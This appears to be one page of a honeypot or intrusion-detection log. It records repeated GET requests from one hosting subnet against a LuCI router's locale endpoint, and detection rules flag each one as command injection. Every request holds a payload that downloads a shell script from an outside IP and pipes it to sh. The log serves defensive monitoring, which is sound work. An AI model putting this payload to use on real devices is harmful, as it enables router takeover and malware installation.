Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973624 GET 301 bytes 178
ann cmdi 22 label cmdi
Request Command/file-injection indicator: cmdi:pipe_or_redirect
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:pipe_or_redirect
conf
75.00
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:pipe_or_redirect
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973624 GET 301 bytes 178
ann cmdi 28 label cmdi
Request Command/file-injection indicator: cmdi:op_plus_cmd
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:op_plus_cmd
conf
88.00
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:op_plus_cmd
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973624 GET 301 bytes 178
ann cmdi 30 label cmdi
Request Command/file-injection indicator: cmdi:subshell
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:subshell
conf
92.00
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:subshell
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 06:37:11 event 10896617 GET 301 bytes 178
ann base label observed
Request event observed
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 06:37:11 event 10896617 GET 301 bytes 178
ann cmdi 22 label cmdi
Request Command/file-injection indicator: cmdi:pipe_or_redirect
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:pipe_or_redirect
conf
75.00
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:pipe_or_redirect
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 06:37:11 event 10896617 GET 301 bytes 178
ann cmdi 28 label cmdi
Request Command/file-injection indicator: cmdi:op_plus_cmd
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:op_plus_cmd
conf
88.00
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:op_plus_cmd
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 06:37:11 event 10896617 GET 301 bytes 178
ann cmdi 30 label cmdi
Request Command/file-injection indicator: cmdi:subshell
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:subshell
conf
92.00
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:subshell
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:50:56 event 10830881 GET 301 bytes 178
ann base label observed
Request event observed
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:50:56 event 10830881 GET 301 bytes 178
ann cmdi 22 label cmdi
Request Command/file-injection indicator: cmdi:pipe_or_redirect
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:pipe_or_redirect
conf
75.00
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:pipe_or_redirect
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:50:56 event 10830881 GET 301 bytes 178
ann cmdi 28 label cmdi
Request Command/file-injection indicator: cmdi:op_plus_cmd
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:op_plus_cmd
conf
88.00
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:op_plus_cmd
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:50:56 event 10830881 GET 301 bytes 178
ann cmdi 30 label cmdi
Request Command/file-injection indicator: cmdi:subshell
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:subshell
conf
92.00
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:subshell
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:15:01 event 10828486 GET 301 bytes 178
ann base label observed
Request event observed
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:15:01 event 10828486 GET 301 bytes 178
ann cmdi 22 label cmdi
Request Command/file-injection indicator: cmdi:pipe_or_redirect
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:pipe_or_redirect
conf
75.00
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:pipe_or_redirect
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:15:01 event 10828486 GET 301 bytes 178
ann cmdi 28 label cmdi
Request Command/file-injection indicator: cmdi:op_plus_cmd
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:op_plus_cmd
conf
88.00
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:op_plus_cmd
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 04:15:01 event 10828486 GET 301 bytes 178
ann cmdi 30 label cmdi
Request Command/file-injection indicator: cmdi:subshell
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:subshell
conf
92.00
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:subshell
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 02:29:45 event 10751590 GET 301 bytes 178
ann base label observed
Request event observed
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 02:29:45 event 10751590 GET 301 bytes 178
ann cmdi 22 label cmdi
Request Command/file-injection indicator: cmdi:pipe_or_redirect
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:pipe_or_redirect
conf
75.00
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:pipe_or_redirect
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 02:29:45 event 10751590 GET 301 bytes 178
ann cmdi 28 label cmdi
Request Command/file-injection indicator: cmdi:op_plus_cmd
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:op_plus_cmd
conf
88.00
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:op_plus_cmd
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 02:29:45 event 10751590 GET 301 bytes 178
ann cmdi 30 label cmdi
Request Command/file-injection indicator: cmdi:subshell
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:subshell
conf
92.00
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:subshell
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
Page 1 of 2